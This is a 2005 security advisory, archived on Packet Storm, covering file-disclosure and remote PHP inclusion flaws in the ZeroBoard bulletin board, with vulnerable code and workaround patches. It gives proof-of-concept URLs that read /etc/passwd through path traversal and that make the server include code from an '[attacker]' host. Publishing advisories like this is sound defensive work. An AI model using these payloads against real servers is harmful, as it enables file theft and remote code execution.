exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

STG Security Advisory 2005-01-13.25

STG Security Advisory 2005-01-13.25
Posted Jan 16, 2005
Authored by STG Security | Site stgsecurity.com

STG Security Advisory: An input validation flaw in ZeroBoard can allow malicious attackers the ability to run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user.

tags | exploit, arbitrary
SHA-256 | 0c9e35a9c275bc19120772f641e5b82ca15d9b4c4e3661ccf564440202b8c080

STG Security Advisory 2005-01-13.25

Change Mirror Download


STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities

Revision 1.1
Date Published: 2004-12-31 (KST)
Last Update: 2005-1-13
Disclosed by SSR Team (advisory@stgsecurity.com)

Summary
=======
ZeroBoard is one of widely used web BBS applications in Korea. However, an
input validation flaw can cause malicious attackers to run arbitrary
commands with the privilege of the HTTPD process, which is typically run as
the nobody user.


Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary commands execution.

Affected Products
================
ZeroBoard 4.1pl5 and prior

Vendor Status: NOT FIXED
========================
2004-12-31 Vulnerabilities found.
2005-01-01 vendor contact, but he didn't replied.
2005-01-10 STG Security, Inc. customers notified.
2004-01-13 Official release.

Details
=======
Vulnerability 1 : File disclosure vulnerability
- - - ------------------------------------
- - - - Proof of concept
http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

- - - - Environment
php.ini: magic_quotes_gpc = off
outlogin.php is only vulnerable on PHP 5.x.

- - - - Description
PHP has a feature discarding the input values containing null characters
when magic_quotes_gpc = off

- - - - Part of vulnerable source, _head.php.
- - - ----
if(eregi(":\/\/",$_zb_path)) $_zb_path="";
include $_zb_path."lib.php";}
- - - ----

- - - - Part of vulnerable source, include/write.php.
- - - ----
if(eregi(":\/\/",$dir)) $dir=".";
include $dir."/write.php";
- - - ----

- - - - Part of vulnerable source, outlogin.php.
- - - ----
if(eregi(":\/\/",$_zb_path)) $_zb_path="./";
[snip]
@include $_zb_path."_head.php";
- - - ----

Vulnerability 2 : PHP source injection vulnerability
- - - ------------------------------------
- - - - Proof of concept
http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://
[attacker]/


- - - - Environment
php.ini: register_globals = On, allow_url_fopen = On

- - - - Reason
Uninitialized $dir variable in print_category.php


- - - - Part of vulnerable source, include/print_category.php
- - - ----
include "$dir/category_head.php";
- - - ----

Vulnerability 3 : PHP source injection vulnerability
- - - --------------------------------------
- - - - Proof of concept
http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/

- - - - Environment
php.ini: allow_url_fopen = On

- - - - Reason
Uninitialized $dir variables in login.php, setup.php, ask_password,php and
error.php.

- - - - Part of vulnerable source, skin/zero_vote/login.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/setup.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/ask_password.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/error.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

Workaround
==========
Without official patches of these vulnerabilities, modify the vulnerable
sources as following recommendations.

Vulnerability 1: As of zboard 4.1pl5
- - - ----------------------------
Modify the 13rd line of _head.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";

Modify the 16th line of include/write.php as following:
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";

Modify the 50th line of outlogin.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";

Vulnerability 2: As of zboard 4.1pl5
- - - ----------------------------
Insert the following code at the 3rd line of include/print_category.php,
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";


Vulnerability 3: As of zboard 4.1pl5
- - - ----------------------------
Modify the 1st line of skin/zero_vote/login.php, the 42nd line of
skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,
and the 1st line of skin/zero_vote/error.php as following:

<? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include
"$dir/value.php3"; ?>

Credits
======
Jeremy Bae at STG Security for Vulnerability 1 and 2.
A Korean security community member for Vulnerability 3 which has been
unofficially released since March 2004.

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close